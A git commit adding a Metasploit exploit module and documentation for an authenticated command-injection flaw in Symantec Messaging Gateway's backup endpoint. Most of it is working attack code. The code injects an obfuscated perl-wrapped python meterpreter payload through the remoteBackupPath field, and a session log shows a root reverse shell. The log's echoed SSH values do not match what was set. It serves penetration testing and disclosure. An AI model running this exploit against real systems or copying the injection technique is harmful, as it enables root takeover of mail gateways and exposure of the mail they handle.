Adding Symantec messaging gateway rce

bug/bundler_fix
Mehmet Ince 2017-06-10 12:23:12 +03:00
parent f0f21891ad
commit 6ae540d889
No known key found for this signature in database
GPG Key ID: 11EF24A306357530
2 changed files with 258 additions and 0 deletions

View File

@ -0,0 +1,57 @@
## Vulnerable Application
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
terminal command under the context of the web server user which is root.
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
**Vulnerable Application Installation Steps**
Click on the "free trial" button at the following URL.
[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway)
You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
## Verification Steps
A successful check of the exploit will look like this:
```
msf > use exploit/linux/http/symantec_messaging_gateway_exec
msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
RHOST => 12.0.0.199
msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
USERNAME => admin
msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
PASSWORD => qwe123
msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
SSH_ADDRESS => 127.0.0.1
msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
SSH_USERNAME => root
msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
SSH_PASSWORD => qwe123
msf exploit(symantec_messaging_gateway_exec) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Performing authentication...
[+] Awesome..! Authenticated with admin:qwe123
[*] Capturing CSRF token
[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
[*] Sending stage (39842 bytes) to 12.0.0.199
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : hacker.dev
OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```

View File

@ -0,0 +1,201 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Messaging Gateway Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
terminal command under the context of the web server user which is root.
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
This module was tested against Symantec Messaging Gateway 10.6.2-7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => true,
'DisclosureDate' => "Apr 26 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
]
)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def ssh_address
datastore['SSH_ADDRESS']
end
def ssh_port
datastore['SSH_PORT']
end
def ssh_username
datastore['SSH_USERNAME']
end
def ssh_password
datastore['SSH_PASSWORD']
end
def auth
print_status("Performing authentication...")
sid = ''
last_login = ''
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
})
if res && !res.get_cookies.empty?
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
else
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
end
cookie = ''
# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
'headers' => {
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res &&res.body =~ /Logged in/
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::Unknown, 'Credentials are not valid.')
end
cookie
end
def get_csrf_token(cookie)
print_status('Capturing CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
})
csrf_token = nil
if res && res.code == 200
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
if match
csrf_token = match[1]
print_good("CSRF token is : #{csrf_token}")
else
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
csrf_token
end
def exploit
cookie = auth
csrf_token = get_csrf_token(cookie)
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Ok. We are ready to go
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
'vars_post' => {
'pageReuseFor' => 'backup_now',
'id' => '',
'symantec.brightmail.key.TOKEN' => csrf_token,
'backupData' => 'full',
'customType' => 'configuration',
'includeIncidentMessages' => 'true',
'includeLogData' => 'true',
'backupTo' => '2',
'remoteBackupProtocol' => 'SCP',
'remoteBackupAddress' => ssh_address,
'remoteBackupPort' => ssh_port,
'remoteBackupPath' => "tmp$(#{p})",
'requiresRemoteAuthentication' => 'true',
'remoteBackupUsername' => ssh_username,
'remoteBackupPassword' => ssh_password,
}
})
end
end